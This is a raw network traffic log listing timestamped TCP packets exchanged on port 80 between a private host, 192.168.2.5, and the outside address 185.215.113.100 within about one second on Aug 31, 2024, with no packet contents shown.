Aug 31, 2024 10:14:15.144778967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.145744085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145802975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.145821095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145832062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145860910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145863056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.145869970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145888090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145898104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.145903111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145922899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145926952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.145936966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.145951033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.145977020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146205902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146229029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146238089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146245003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146260977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146270990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146280050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146280050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146306992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146368980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146392107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146406889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146413088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146436930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146441936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146450043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146467924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146475077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146492958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146496058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146506071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146507978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146523952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146533012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146538019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146549940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146559954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146560907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146578074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146589994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146614075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146636009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146645069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146662951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146680117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146682024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146691084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146707058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146716118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.146728039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.146755934 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.148364067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.148386955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.148396969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.148417950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.148430109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.149487972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149511099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149521112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149533033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.149555922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.149705887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149717093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149734974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149755955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.149766922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.149827957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149837971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149857044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149868011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.149869919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.149897099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150038958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150048971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150065899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150087118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150100946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150330067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150374889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150388956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150398970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150417089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150427103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150455952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150486946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150496006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150522947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150532961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150542021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150552034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.150578976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.150589943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.151365995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151376009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151395082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151405096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151416063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.151441097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.151755095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151766062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151787043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151796103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.151797056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.151823997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.151849031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152273893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152283907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152304888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152314901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152316093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152332067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152345896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152367115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152376890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152405977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152456045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152467012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152489901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152489901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152499914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152518034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152518034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152532101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152559996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152590036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152625084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152646065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152671099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152683973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152704954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152710915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152720928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152750015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152762890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152782917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152792931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152818918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152832031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152859926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152870893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152887106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152899981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152914047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152925014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.152951002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152961016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152978897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.152990103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153016090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153187037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153197050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153217077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153224945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153238058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153239012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153248072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153254032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153270006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153275013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153289080 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153302908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153304100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153312922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153331041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.153341055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.153366089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155379057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155390024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155410051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155425072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155447006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155495882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155534029 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155544043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155554056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155586004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155679941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155689955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155710936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155719995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.155725956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155741930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.155766010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.227051973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.227061987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.227123022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.290960073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.290970087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.290987968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.290997028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291042089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291070938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291084051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291109085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291120052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291129112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291146040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291160107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291183949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291193962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291210890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291218996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291234016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291246891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291337967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291347027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291376114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291382074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291384935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291404963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291409969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291419029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291429043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291435957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291444063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291445971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291455984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291462898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291471004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291476965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291488886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291508913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291517973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291521072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291527033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291542053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.291557074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.291575909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.292965889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.292973995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.292989969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.292999029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.293015957 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.293044090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.293170929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.293179989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.293196917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.293205976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.293220997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.293234110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.296603918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.296641111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.296649933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.296655893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.296667099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.296674013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.296689034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.296701908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297144890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297153950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297169924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297185898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297200918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297595024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297631025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297637939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297641039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297652006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297662020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297672987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297687054 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297741890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297749996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297765017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297775030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.297776937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297791004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.297805071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298132896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298141956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298158884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298168898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298181057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298193932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298196077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298204899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298222065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298229933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298229933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298243046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298253059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298255920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298274040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298274040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298280954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298281908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298297882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298310041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298321009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298321009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298330069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298333883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298345089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298356056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298356056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298368931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298382044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298405886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298439980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298448086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298465014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298470974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298475981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298486948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298490047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298499107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298501015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298530102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298549891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298558950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298576117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298584938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298588991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298614025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298738956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298753023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298768997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.298779011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.298799992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.299359083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.299390078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.299397945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.299397945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.299422026 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.299432993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.300796986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.300806046 CEST	80	49704	185.215.113.100	192.168.2.5
